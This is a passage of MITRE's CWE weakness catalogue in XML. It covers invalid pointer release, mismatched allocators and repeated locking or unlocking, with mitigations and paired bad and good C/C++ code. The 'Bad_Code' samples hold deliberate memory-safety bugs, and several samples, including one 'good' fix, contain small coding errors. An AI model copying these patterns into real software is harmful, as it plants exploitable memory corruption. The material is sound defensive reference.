					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a language that provides abstractions for memory allocation and
							deallocation.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a tool that dynamically detects memory management problems, such
							as valgrind.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-80">
					          <Intro_Text>This example allocates a BarObj object using the new operator in
						C++, however, the programmer then deallocates the object using free(), which
						may lead to unexpected behavior.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>void foo(){</Code>
							              <Block>
								                <Code>BarObj *ptr = new BarObj()</Code>
								                <Comment>/* do some work with ptr here */</Comment>
								                <Code>...</Code>
								                <Code/>
								                <Code>free(ptr);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Instead, the programmer should have either created the object with one
							of the malloc family functions, or else deleted the object with the
							delete operator.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>void foo(){</Code>
							              <Block>
								                <Code>BarObj *ptr = new BarObj()</Code>
								                <Comment>/* do some work with ptr here */</Comment>
								                <Code>...</Code>
								                <Code/>
								                <Code>delete ptr;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference>
					          <Reference_Title>boost C++ Library Smart Pointers</Reference_Title>
					          <Reference_Link>http://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Title>Valgrind</Reference_Title>
					          <Reference_Link>http://valgrind.org/</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Resources allocated by memory allocation functions must be
						released using the corresponding memory deallocation
						function</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM39-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-05-08</Submission_Date>
				        </Submission>
				        <Contribution Contribution_Mode="Feedback">
					          <Contributor>Martin Sebor</Contributor>
					          <Contribution_Organization>Cisco Systems, Inc. </Contribution_Organization>
					          <Contribution_Date>2010-04-30</Contribution_Date>
					          <Contribution_Comment>Provided improvement to existing
						Mitigation</Contribution_Comment>
				        </Contribution>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms,
						Likelihood_of_Exploit</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="763" Name="Release of Invalid Pointer or Reference" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The application attempts to return a memory resource to the
					system, but calls the wrong release function or calls the appropriate release
					function incorrectly.</Description_Summary>
				        <Extended_Description>
					          <Text>This weakness can take several forms, such as:</Text>
					          <Block Block_Nature="List">
						            <Text>The memory was allocated, explicitly or implicitly, via one memory
							management method and deallocated using a different, non-compatible
							function (CWE-762).</Text>
						            <Text>The function calls or memory management routines chosen are
							appropriate, however they are used incorrectly, such as in
							CWE-761.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>404</Relationship_Target_ID>
					          <!--Improper Resource Shutdown or Release-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>465</Relationship_Target_ID>
					          <!--Pointer Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>891</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Management-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This area of the view CWE-1000 hierarchy needs additional work. Several
						entries will likely be created in this branch. Currently the focus is on
						free() of memory, but delete and other related release routines may require
						the creation of intermediate entries that are not specific to a particular
						function. In addition, the role of other types of invalid pointers, such as
						an expired pointer, i.e. CWE-415 Double Free and release of uninitialized
						pointers, related to CWE-457.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness may result in the corruption of memory, and perhaps
							instructions, possibly leading to a crash. If the corrupted memory can
							be effectively controlled, it may be possible to execute arbitrary
							code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Only call matching memory management functions. Do not mix and match
							routines. For example, when you allocate a buffer with malloc(), dispose
							of the original pointer with free().</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When programming in C++, consider using smart pointers provided by the
							boost library to help correctly and consistently manage memory.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4.6">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>For example, glibc in Linux provides protection against free of
							invalid pointers.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a language that provides abstractions for memory allocation and
							deallocation.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a tool that dynamically detects memory management problems, such
							as valgrind.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-78">
					          <Intro_Text>This code attempts to tokenize a string and place it into an array
						using the strsep function, which inserts a \0 byte in place of whitespace or
						a tab character. After finishing the loop, each string in the AP array
						points to a location within the input string.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char **ap, *argv[10], *inputstring;</Code>
							              <Code>for (ap = argv; (*ap = strsep(&amp;inputstring, " \t")) !=
								NULL;)</Code>
							              <Block>
								                <Code>if (**ap != '\0')</Code>
								                <Block>
									                  <Code>if (++ap &gt;= &amp;argv[10])</Code>
									                  <Block>
										                    <Code>break;</Code>
									                  </Block>
								                </Block>
							              </Block>
							              <Code>/.../</Code>
							              <Code>free(ap[4]);</Code>
						            </Block>
						            <Text>Since strsep is not allocating any new memory, freeing an element in
							the middle of the array is equivalent to free a pointer in the middle of
							inputstring.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-80">
					          <Intro_Text>This example allocates a BarObj object using the new operator in
						C++, however, the programmer then deallocates the object using free(), which
						may lead to unexpected behavior.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>void foo(){</Code>
							              <Block>
								                <Code>BarObj *ptr = new BarObj()</Code>
								                <Comment>/* do some work with ptr here */</Comment>
								                <Code>...</Code>
								                <Code/>
								                <Code>free(ptr);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Instead, the programmer should have either created the object with one
							of the malloc family functions, or else deleted the object with the
							delete operator.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>void foo(){</Code>
							              <Block>
								                <Code>BarObj *ptr = new BarObj()</Code>
								                <Comment>/* do some work with ptr here */</Comment>
								                <Code>...</Code>
								                <Code/>
								                <Code>delete ptr;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-77">
					          <Intro_Text>In this example, the programmer dynamically allocates a buffer to
						hold a string and then searches for a specific character. After completing
						the search, the programmer attempts to release the allocated memory and
						return SUCCESS or FAILURE to the caller. Note: for simplification, this
						example uses a hard-coded "Search Me!" string and a constant string length
						of 20.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define SUCCESS (1)</Code>
							              <Code>#define FAILURE (0)</Code>
							              <Code/>
							              <Code>int contains_char(char c){</Code>
							              <Block>
								                <Code>char *str;</Code>
								                <Code>str = (char*)malloc(20*sizeof(char));</Code>
								                <Code>strcpy(str, "Search Me!");</Code>
								                <Code>while( *str != NULL){</Code>
								                <Block>
									                  <Code>if( *str == c ){</Code>
									                  <Block>
										                    <Comment>/* matched char, free string and return success
											*/</Comment>
										                    <Code>free(str);</Code>
										                    <Code>return SUCCESS;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Comment>/* didn't match yet, increment pointer and try next
										char */</Comment>
									                  <Code>str = str + 1;</Code>
								                </Block>
								                <Code>}</Code>
								                <Comment>/* we did not match the char in the string, free mem and
									return failure */</Comment>
								                <Code>free(str);</Code>
								                <Code>return FAILURE;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, if the character is not at the beginning of the string, or if
							it is not in the string at all, then the pointer will not be at the
							start of the buffer when the programmer frees it.</Text>
						            <Text>Instead of freeing the pointer in the middle of the buffer, the
							programmer can use an indexing pointer to step through the memory or
							abstract the memory calculations by using array indexing.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define SUCCESS (1)</Code>
							              <Code>#define FAILURE (0)</Code>
							              <Code/>
							              <Code>int cointains_char(char c){</Code>
							              <Block>
								                <Code>char *str;</Code>
								                <Code>int i = 0;</Code>
								                <Code>str = (char*)malloc(20*sizeof(char));</Code>
								                <Code>strcpy(str, "Search Me!");</Code>
								                <Code>while( i &lt; strlen(str) ){</Code>
								                <Block>
									                  <Code>if( str[i] == c ){</Code>
									                  <Block>
										                    <Comment>/* matched char, free string and return success
											*/</Comment>
										                    <Code>free(str);</Code>
										                    <Code>return SUCCESS;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Comment>/* didn't match yet, increment pointer and try next
										char */</Comment>
									                  <Code>i = i + 1;</Code>
								                </Block>
								                <Code>}</Code>
								                <Comment>/* we did not match the char in the string, free mem and
									return failure */</Comment>
								                <Code>free(str);</Code>
								                <Code>return FAILURE;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-79">
					          <Intro_Text>Consider the following code in the context of a parsing application
						to extract commands out of user data. The intent is to parse each command
						and add it to a queue of commands to be executed, discarding each malformed
						entry. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Comment>//hardcode input length for simplicity</Comment>
							              <Code>char* input = (char*) malloc(40*sizeof(char));</Code>
							              <Code>char *tok;</Code>
							              <Code>char* sep = " \t";</Code>
							              <Code/>
							              <Code>get_user_input( input );</Code>
							              <Code/>
							              <Comment>/* The following loop will parse and process each token in the
								input string */</Comment>
							              <Code>tok = strtok( input, sep);</Code>
							              <Code>while( NULL != tok ){</Code>
							              <Block>
								                <Code>if( isMalformed( tok ) ){</Code>
								                <Block>
									                  <Comment>/* ignore and discard bad data */</Comment>
									                  <Code>free( tok );</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else{</Code>
								                <Block>
									                  <Code>add_to_command_queue( tok );</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>tok = strtok( NULL, sep));</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>While the above code attempts to free memory associated with bad
							commands, since the memory was all allocated in one chunk, it must all
							be freed together.</Text>
						            <Text>One way to fix this problem would be to copy the commands into a new
							memory location before placing them in the queue. Then, after all
							commands have been processed, the memory can safely be freed.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Comment>//hardcode input length for simplicity</Comment>
							              <Code>char* input = (char*) malloc(40*sizeof(char));</Code>
							              <Code>char *tok, *command;</Code>
							              <Code>char* sep = " \t";</Code>
							              <Code/>
							              <Code>get_user_input( input );</Code>
							              <Code/>
							              <Comment>/* The following loop will parse and process each token in the
								input string */</Comment>
							              <Code>tok = strtok( input, sep);</Code>
							              <Code>while( NULL != tok ){</Code>
							              <Block>
								                <Code>if( !isMalformed( command ) ){</Code>
								                <Block>
									                  <Comment>/* copy and enqueue good data */</Comment>
									                  <Code>command = (char*) malloc( (strlen(tok) + 1) * sizeof(char)
										);</Code>
									                  <Code>strcpy( command, tok );</Code>
									                  <Code>add_to_command_queue( command );</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>tok = strtok( NULL, sep));</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>free( input ) </Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference>
					          <Reference_Title>boost C++ Library Smart Pointers</Reference_Title>
					          <Reference_Link>http://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Title>Valgrind</Reference_Title>
					          <Reference_Link>http://valgrind.org/</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-05-08</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="764" Name="Multiple Locks of a Critical Resource" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software locks a critical resource more times than
					intended, leading to an unexpected state in the system.</Description_Summary>
				        <Extended_Description>
					          <Text> When software is operating in a concurrent environment and repeatedly
						locks a critical resource, the consequences will vary based on the type of
						lock, the lock's implementation, and the resource being protected. In some
						situations such as with semaphores, the resources are pooled and extra
						locking calls will reduce the size of the total available pool, possibly
						leading to degraded performance or a denial of service. If this can be
						triggered by an attacker, it will be similar to an unrestricted lock
						(CWE-412). In the context of a binary lock, it is likely that any duplicate
						locking attempts will never succeed since the lock is already held and
						progress may not be possible.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>667</Relationship_Target_ID>
					          <!--Improper Locking-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>675</Relationship_Target_ID>
					          <!--Duplicate Operations on Resource-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>An alternate way to think about this weakness is as an imbalance between
						the number of locks / unlocks in the control flow. Over the course of
						execution, if each lock call is not followed by a subsequent call to unlock
						in a reasonable amount of time, then system performance may be degraded or
						at least operating at less than peak levels if there is competition for the
						locks. This entry may need to be modified to reflect these concepts in the
						future.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When locking and unlocking a resource, try to be sure that all control
							paths through the code in which the resource is locked one or more times
							correspond to exactly as many unlocks. If the software acquires a lock
							and then determines it is not able to perform its intended behavior, be
							sure to release the lock(s) before waiting for conditions to improve.
							Reacquire the lock(s) before trying again.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-03-03</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="765" Name="Multiple Unlocks of a Critical Resource" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software unlocks a critical resource more times than
					intended, leading to an unexpected state in the system.</Description_Summary>
				        <Extended_Description>
					          <Text>When software is operating in a concurrent environment and repeatedly
						unlocks a critical resource, the consequences will vary based on the type of
						lock, the lock's implementation, and the resource being protected. In some
						situations such as with semaphores, the resources are pooled and extra calls
						to unlock will increase the count for the number of available resources,
						likely resulting in a crash or unpredictable behavior when the system nears
						capacity.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>667</Relationship_Target_ID>
					          <!--Improper Locking-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>675</Relationship_Target_ID>
					          <!--Duplicate Operations on Resource-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>An alternate way to think about this weakness is as an imbalance between
						the number of locks / unlocks in the control flow. Over the course of
						execution, if each lock call is not followed by a subsequent call to unlock
						in a reasonable amount of time, then system performance may be degraded or
						at least operating at less than peak levels if there is competition for the
						locks. This entry may need to be modified to reflect these concepts in the
						future.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When locking and unlocking a resource, try to be sure that all control
							paths through the code in which the resource is locked one or more times
							correspond to exactly as many unlocks. If the software acquires a lock
							and then determines it is not able to perform its intended behavior, be
							sure to release the lock(s) before waiting for conditions to improve.
							Reacquire the lock(s) before trying again.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0935</Observed_Example_Reference>
					          <Observed_Example_Description>Attacker provides invalid address to a
						memory-reading function, causing a mutex to be unlocked
						twice</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-03-03</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="766" Name="Critical Variable Declared Public" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software declares a critical variable or field to be public
					when intended security policy requires it to be private.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>849</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 04 - Object Orientation (OBJ)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>897</Relationship_Target_ID>
					          <!--SFP Cluster: Entry Points-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C++"/>
